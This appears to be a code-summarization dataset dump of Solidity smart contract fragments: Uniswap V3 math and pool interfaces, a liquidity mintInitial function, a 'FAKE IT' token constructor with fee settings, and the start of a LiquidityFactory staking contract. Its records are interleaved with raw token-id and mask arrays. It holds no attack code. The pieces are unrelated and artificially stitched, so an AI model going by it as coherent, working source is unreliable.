2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); }
* @dev Mint function which initializes the pool position @dev Must be called before any liquidity can be deposited/
function mintInitial(uint256 amount0, uint256 amount1) external onlyOwnerOrManager { require(tokenId == 0); require(amount0 > 0 || amount1 > 0); checkTwap(); (uint256 amount0Minted, uint256 amount1Minted) = calculatePoolMintedAmounts(amount0, amount1); if (amount0 > 0) { token0.safeTransferFrom(msg.sender, address(this), amount0Minted); } if (amount1 > 0) { token1.safeTransferFrom(msg.sender, address(this), amount1Minted); } tokenId = createPosition(amount0Minted, amount1Minted); uint256 liquidity = uint256(getLiquidityForAmounts(amount0Minted, amount1Minted)); _mintInternal(liquidity); }
10,200,380
[ 1, 49, 474, 445, 1492, 11643, 326, 2845, 1754, 225, 6753, 506, 2566, 1865, 1281, 4501, 372, 24237, 848, 506, 443, 1724, 329, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 4435, 12, 11890, 5034, 3844, 20, 16, 2254, 5034, 3844, 21, 13, 203, 3639, 3903, 203, 3639, 1338, 5541, 1162, 1318, 203, 565, 288, 203, 3639, 2583, 12, 2316, 548, 422, 374, 1769, 203, 3639, 2583, 12, 8949, 20, 405, 374, 747, 3844, 21, 405, 374, 1769, 203, 3639, 866, 23539, 438, 5621, 203, 3639, 261, 11890, 5034, 3844, 20, 49, 474, 329, 16, 2254, 5034, 3844, 21, 49, 474, 329, 13, 273, 203, 5411, 4604, 2864, 49, 474, 329, 6275, 87, 12, 8949, 20, 16, 3844, 21, 1769, 203, 3639, 309, 261, 8949, 20, 405, 374, 13, 288, 203, 5411, 1147, 20, 18, 4626, 5912, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 3844, 20, 49, 474, 329, 1769, 203, 3639, 289, 203, 3639, 309, 261, 8949, 21, 405, 374, 13, 288, 203, 5411, 1147, 21, 18, 4626, 5912, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 3844, 21, 49, 474, 329, 1769, 203, 3639, 289, 203, 3639, 1147, 548, 273, 752, 2555, 12, 8949, 20, 49, 474, 329, 16, 3844, 21, 49, 474, 329, 1769, 203, 3639, 2254, 5034, 4501, 372, 24237, 273, 203, 5411, 2254, 5034, 12, 588, 48, 18988, 24237, 1290, 6275, 87, 12, 8949, 20, 49, 474, 329, 16, 3844, 21, 49, 474, 329, 10019, 203, 3639, 389, 81, 474, 3061, 12, 549, 372, 24237, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x13F881D2566B43437b2e46Abb142B8be05a342aC/sources/FAKEIT.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("FAKE IT", "FAKE") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 15; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 10; uint256 _sellLiquidityFee = 10; uint256 _sellDevFee = 0; uint256 totalSupply = 100000000 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(address(marketingWallet), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromMaxTransaction(address(marketingWallet), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
15,572,823
[ 1, 10157, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 2046, 6859, 24142, 3113, 315, 2046, 6859, 7923, 288, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 203, 5411, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 203, 3639, 11272, 203, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 10756, 203, 5411, 263, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 203, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 4711, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 8870, 14667, 2 ]
// SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.4; library SafeMathLib { function times(uint a, uint b) public pure returns (uint) { uint c = a * b; require(a == 0 || c / a == b, 'Overflow detected'); return c; } function minus(uint a, uint b) public pure returns (uint) { require(b <= a, 'Underflow detected'); return a - b; } function plus(uint a, uint b) public pure returns (uint) { uint c = a + b; require(c>=a && c>=b, 'Overflow detected'); return c; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // This contract is inspired by the harberger tax idea, it rewards people with FVT for burning their liquidity provider // tokens. contract LiquidityFactory { using SafeMathLib for uint; // this represents a single recipient of token rewards on a fixed schedule that does not depend on deposit or burn rate // it specifies an id (key to a map below) an marker for the last time it was updated, a deposit (of LP tokens) and a // burn rate of those LP tokens per block, and finally, the owner of the slot, who will receive the rewards struct Slot { uint id; uint lastUpdatedBlock; uint vacatedBlock; uint depositWei; uint burnRateWei; address owner; } // rewardToken: the token that the rewards are made in // liquidityToken: the liquidity provider (LP) token // taxAddress: address to which taxes are sent struct Pool { uint id; address liquidityToken; address taxAddress; address poolOwner; uint maxStakers; uint minimumDepositWei; uint maximumDepositWei; uint minimumBurnRateWeiPerBlock; uint maximumBurnRateWeiPerBlock; mapping (uint => Slot) slots; } struct Metadata { bytes32 name; bytes32 ipfsHash; } struct Pulse { address rewardToken1; address rewardToken2; uint pulseStartBlock; uint pulseWavelengthBlocks; uint pulseAmplitudeWei; uint pulseIntegral; uint pulseConstant; uint reward2WeiPerBlock; } struct PoolStats { uint totalStakedWei; uint totalRewardsWei; uint totalBurnedWei; uint depositDecayWeiPerBlock; // decay only applies to vacated slots uint burnRateDecayWeiPerBlock; // decay only applies to vacated slots bool paused; uint pausedBlock; uint unpausedBlock; uint pausedStakers; uint numSynced; // only used while paused uint numStakers; mapping (address => uint) totalStakedWeiFor; mapping (address => uint) totalRewardsWeiFor; mapping (address => uint) totalBurnedWeiFor; mapping (uint => uint) rewards1WeiForSession; } uint public numPools; mapping (uint => Pool) public pools; mapping (uint => Metadata) public metadatas; mapping (uint => PoolStats) public poolStats; mapping (uint => Pulse) public pulses; // privileged key that can change key parameters, will change to dao later address 